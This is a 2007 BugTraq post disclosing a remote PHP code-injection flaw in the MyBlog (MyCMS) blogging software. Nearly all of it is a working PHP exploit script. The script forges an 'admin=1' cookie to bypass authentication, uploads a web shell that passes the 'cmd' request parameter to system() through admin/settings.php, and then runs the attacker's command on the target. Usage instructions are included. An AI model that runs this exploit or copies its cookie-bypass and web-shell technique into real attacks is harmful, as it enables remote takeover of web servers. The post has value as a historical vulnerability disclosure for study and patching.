BugTraq
MyBlog (MyCMS) Remote PHP Code execution / PHP Code injection .. Nov 22 2007 10:30AM
security soqor net
Hello,,

MyBlog (MyCMS) Remote PHP Code execution / PHP Code injection ..

http://sourceforge.net/projects/myblog/

Discovered By : HACKERS PAL

Copy rights : HACKERS PAL

Website : http://www.soqor.net

Email Address : security (at) soqor (dot) net [email concealed]

Exploit : -

#!/usr/bin/php -q -d short_open_tag=on

<?

/*

/* MyCMS Command Execution

/* This exploit should allow you to execute commands

/* By : HACKERS PAL

/* WwW.SoQoR.NeT

*/

echo('

/**********************************************/

/* MyCmS Command Execution */

/* by HACKERS PAL <security (at) soqor (dot) net [email concealed]> */

/* site: http://www.soqor.net */');

if ($argc<4) {

print_r('

/* -- */

/* Usage: php '.$argv[0].' host path cmd

/* Example: */

/* php '.$argv[0].' localhost /freewps/ id

/**********************************************/

');

die;

}

error_reporting(0);

ini_set("max_execution_time",0);

ini_set("default_socket_timeout",5);

Function get_page($url)

{

if(function_exists("file_get_contents"))

{

$contents = file_get_contents($url);

}

else

{

$fp=fopen("$url","r");

while($line=fread($fp,1024))

{

$contents=$contents.$line;

}

}

return $contents;

}

function connect($packet)

{

global $host, $port, $html;

$con=fsockopen(gethostbyname($host),$port);

if (!$con)

{

echo '[-] Error - No response from '.$host.':'.$port; die;

}

fputs($con,$packet);

$html='';

while ((!feof($con)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {

$html.=fread($con,1);

}

GLOBAL $html;

fclose($con);

}

$i=0;

$data="";

function add_data($name,$value,$type="no",$filename)

{

GLOBAL $data,$i;

if($type=="file")

{

$data.="-----------------------------7d62702f250530

Content-Disposition: form-data; name=\"$filename\"; filename=\"$name\";

Content-Type: text/plain

$value

";

}

elseif($type=="init")

{

$data.="-----------------------------7d62702f250530--";

}

elseif($type=="clean")

{

$data="";

}

else

{

$data.="-----------------------------7d62702f250530

Content-Disposition: form-data; name=\"$name\";

Content-Type: text/plain

$value

";

}

}

$host=$argv[1];

$path=$argv[2];

$cmd=$argv[3];

$port=80;

$cmd=urlencode($cmd);

$p='http://'.$host.':'.$port.$path;

Echo "\n[+] Trying to Upload File";

$cookie="admin=1&login=HACKERS%20PAL";

$contents='<?php

Echo "Shell By : HACKERS PAL :)

<br><a href=\"http://www.soqor.net\">WwW.SoQoR.NeT</a><br>

";

$cmd=($_GET[cmd])?$_GET[cmd]:$_POST[cmd];

system($cmd);

die();

?>';

add_data("","");

add_data("content",$contents);

add_data('','',"init");

$packet="POST ".$p."admin/settings.php HTTP/1.0\r\n";

$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";

$packet.="Referer: http://".$host.$path."profile.php?mode=editprofile\r\n";

$packet.="Accept-Language: it\r\n";

$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d62702f250530\r\n";

$packet.="Accept-Encoding: gzip, deflate\r\n";

$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";

$packet.="Host: ".$host."\r\n";

$packet.="Content-Length: ".strlen($data)."\r\n";

$packet.="Connection: Close\r\n";

$packet.="Cache-Control: no-cache\r\n";

$packet.="Cookie: ".$cookie."\r\n\r\n";

$packet.=$data;

connect($packet);

if (eregi("Main Blog Settings",$html))

{

echo "\n[+] Successfully uploaded ...\n[+] Go To http://".$p."index.php?cmd=$cmd for your own commands.. \n[+] The Result Of The Command\n";

Echo get_page($p."index.php?cmd=".$cmd);

}

else

{

echo "\n[-] Unable to Upload File\n[-] Exploit Failed";

}

echo ("\n/* Visit us : WwW.SoQoR.NeT */\n/**********************************************/");

?>

#WwW.SoQoR.NeT

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